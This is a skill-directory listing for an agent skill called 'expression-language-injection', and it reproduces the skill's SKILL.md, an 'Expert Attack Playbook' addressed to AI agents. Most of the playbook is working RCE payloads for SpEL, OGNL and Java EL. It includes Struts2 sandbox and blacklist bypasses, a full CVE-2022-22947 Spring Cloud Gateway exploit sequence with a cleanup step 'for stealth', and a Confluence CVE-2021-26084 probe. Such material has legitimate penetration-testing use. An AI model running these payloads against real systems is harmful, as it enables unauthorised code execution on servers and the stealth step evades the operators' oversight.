Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
yaklang avatar

Expression Language Injection

  • 2.3k installs
  • 1.5k repo stars
  • Updated June 16, 2026
  • yaklang/hack-skills

expression-language-injection is an agent skill that Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or sim

About

The expression-language-injection skill. Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks. Distinct from SSTI - EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass, manipulation, actuator abuse, and real-world CVE chains. They share detection probes ( ) but diverge in exploitation. DETECTION - POLYGLOT PROBES ### Disambiguation | Response to | Response to | Engine | |---|---|---| | 49 | literal | SpEL or Java EL | | literal | 49 | OGNL (Struts2) | | 49 | 49 | Both may be active | --- ## 2. Classic bypass clears restrictions: ### Struts2 OgnlUtil Blacklist Clear Later Struts2 versions use class/package blacklists. JAVA EL (JSP / JSF) ### Where Java EL Appears - JSP pages: and - JSF (JavaServer Faces): value and method bindings - Custom tag libraries ### RCE Payloads --- ## 5. The workflow follows the source SKILL.md contract with progressive reference loading, clear trigger phrases, and practical steps developers can apply directly in agent sessions.

  • [ssti-server-side-template-injection](../ssti-server-side-template-injection/SKILL.md) for template engines (Jinja2, Fre
  • [jndi-injection](../jndi-injection/SKILL.md) when EL evaluation leads to JNDI lookup
  • `@Value("${...}")` annotations
  • Spring Security expressions (`@PreAuthorize`)
  • Spring Cloud Gateway route predicates and filters

Expression Language Injection by the numbers

  • 2,286 all-time installs (skills.sh)
  • +123 installs in the week ending Aug 5, 2026 (Skillselion tracking)
  • Ranked #243 of 2,203 Security skills by installs in the Skillselion catalog
  • Security screen: CRITICAL risk (skills.sh audit)
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
At a glance

expression-language-injection capabilities & compatibility

Capabilities
[ssti server side template injection](../ssti se · [jndi injection](../jndi injection/skill.md) whe · `@value("${...}")` annotations · spring security expressions (`@preauthorize`) · spring cloud gateway route predicates and filter
Use cases
security audit · testing · debugging
npx skills add https://github.com/yaklang/hack-skills --skill expression-language-injection

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs2.3k
repo stars1.5k
Security audit0 / 3 scanners passed
Last updatedJune 16, 2026
Repositoryyaklang/hack-skills

How do I apply expression-language-injection correctly using the SKILL.md workflows and reference files?

Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.

Who is it for?

Developers and software engineers working with expression-language-injection patterns from the skill documentation.

Skip if: Skip when cached docs are empty, boilerplate-only, or outside the skill documented scope.

When should I use this skill?

Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.

What you get

Grounded expression-language-injection guidance with highlights, triggers, and evidence quotes from SKILL.md.

  • EL injection payloads
  • Exploit chain notes
  • Security findings report

By the numbers

  • Covers three EL families: SpEL, OGNL, and Java EL

Files

SKILL.mdMarkdownGitHub ↗

SKILL: Expression Language Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass, _memberAccess manipulation, actuator abuse, and real-world CVE chains.

0. RELATED ROUTING

  • ssti-server-side-template-injection for template engines (Jinja2, FreeMarker, Twig) — different attack surface
  • jndi-injection when EL evaluation leads to JNDI lookup

Key distinction: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (${7*7}) but diverge in exploitation.

---

1. DETECTION — POLYGLOT PROBES

${7*7}              → 49 = SpEL, OGNL, or Java EL
#{7*7}              → 49 = SpEL (alternative syntax) or JSF EL
%{7*7}              → 49 = OGNL (Struts2)
${T(java.lang.Math).random()}  → random float = SpEL confirmed
%{#context}         → object dump = OGNL confirmed

Disambiguation

Response to ${7*7}Response to %{7*7}Engine
49literal %{7*7}SpEL or Java EL
literal ${7*7}49OGNL (Struts2)
4949Both may be active

---

2. SpEL (SPRING EXPRESSION LANGUAGE)

Where SpEL Appears

  • @Value("${...}") annotations
  • Spring Security expressions (@PreAuthorize)
  • Spring Cloud Gateway route predicates and filters
  • Thymeleaf th:text="${...}" (when combined with __${...}__ preprocessing)
  • Spring Data @Query with SpEL

RCE via Runtime.exec

${T(java.lang.Runtime).getRuntime().exec("id")}

RCE with Output Capture (Commons IO)

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

RCE with Output Capture (Spring StreamUtils)

#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}

ProcessBuilder (alternative when Runtime is blocked)

${new java.lang.ProcessBuilder(new String[]{"id"}).start()}

Spring Cloud Gateway — CVE-2022-22947

Exploit via actuator to add malicious route with SpEL filter:

# Step 1: Add route with SpEL in filter (with output capture)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
    }
  }],
  "uri": "http://example.com",
  "predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}

# Step 2: Refresh routes to apply
POST /actuator/gateway/refresh

# Step 3: Trigger the route
GET /hackpath
# Response header "Result" contains command output

# Step 4: Clean up (important for stealth)
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh

SpEL Sandbox Bypass

When SimpleEvaluationContext is used (restricts T() operator):

// Try reflection-based bypass:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}

---

3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE)

Where OGNL Appears

  • Apache Struts2 — primary OGNL consumer
  • Confluence Server — uses OGNL in certain request paths
  • Any Java app using ognl.Ognl.getValue() or ognl.Ognl.setValue()

Basic RCE

%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}

Struts2 Sandbox Bypass — _memberAccess Manipulation

Struts2 restricts OGNL via SecurityMemberAccess. Classic bypass clears restrictions:

%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Struts2 OgnlUtil Blacklist Clear

Later Struts2 versions use class/package blacklists. Bypass by clearing excludedClasses and excludedPackageNames:

%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}

Key Struts2 CVEs

CVEVectorPayload Location
S2-045 (CVE-2017-5638)Content-Type header%{...} in Content-Type
S2-046 (CVE-2017-5638)Multipart filenameOGNL in upload filename
S2-016 (CVE-2013-2251)redirect: / redirectAction: prefixURL parameter
S2-048 (CVE-2017-9791)Struts ShowcaseActionMessage with OGNL
S2-057 (CVE-2018-11776)Namespace OGNLURL path

Confluence OGNL — CVE-2021-26084

Confluence Server allows OGNL injection via the queryString or action parameters:

POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded

queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL-decoded: \u0027+{3*3}+\u0027
# If response contains 9 → confirmed
# Escalate to Runtime.exec for RCE

---

4. JAVA EL (JSP / JSF)

Where Java EL Appears

  • JSP pages: ${expression} and #{expression}
  • JSF (JavaServer Faces): value and method bindings
  • Custom tag libraries

RCE Payloads

// Java EL with Runtime:
${Runtime.getRuntime().exec("id")}

// Via pageContext (JSP):
${pageContext.request.getServletContext().getClassLoader()}

// Reflection-based:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

---

5. DETECTION METHODOLOGY

Input reflected and ${7*7} returns 49?
├── Java application?
│   ├── Struts2? → Try %{...} OGNL payloads
│   │   └── Check Content-Type injection (S2-045)
│   ├── Spring? → Try T(java.lang.Runtime) SpEL
│   │   └── Check /actuator/gateway (Spring Cloud Gateway)
│   ├── Confluence? → Try OGNL via action parameters
│   └── JSP/JSF? → Try Java EL payloads
│
├── Error messages reveal framework?
│   ├── "ognl.OgnlException" → OGNL
│   ├── "SpelEvaluationException" → SpEL
│   └── "javax.el.ELException" → Java EL
│
└── Blocked by sandbox?
    ├── OGNL: clear _memberAccess / excludedClasses
    ├── SpEL: reflection bypass for SimpleEvaluationContext
    └── Try alternative exec methods (ProcessBuilder, ScriptEngine)

---

6. QUICK REFERENCE

# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}

# OGNL RCE (Struts2):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# OGNL with sandbox bypass:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

# Confluence CVE-2021-26084 probe:
queryString=\u0027%2b{3*3}%2b\u0027

# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x  → SpEL in filter args
POST /actuator/gateway/refresh

Related skills

How it compares

Pick expression-language-injection over SSTI skills when the vulnerable component is a Java expression evaluator in Spring or Struts2 rather than a server-side template engine.

FAQ

Who is expression-language-injection for?

Developers and software engineers working with expression-language-injection patterns from the skill documentation.

When should I use expression-language-injection?

Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks.

Is expression-language-injection safe to install?

Review the Security Audits panel on this page before installing in production.

Securityappsec

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.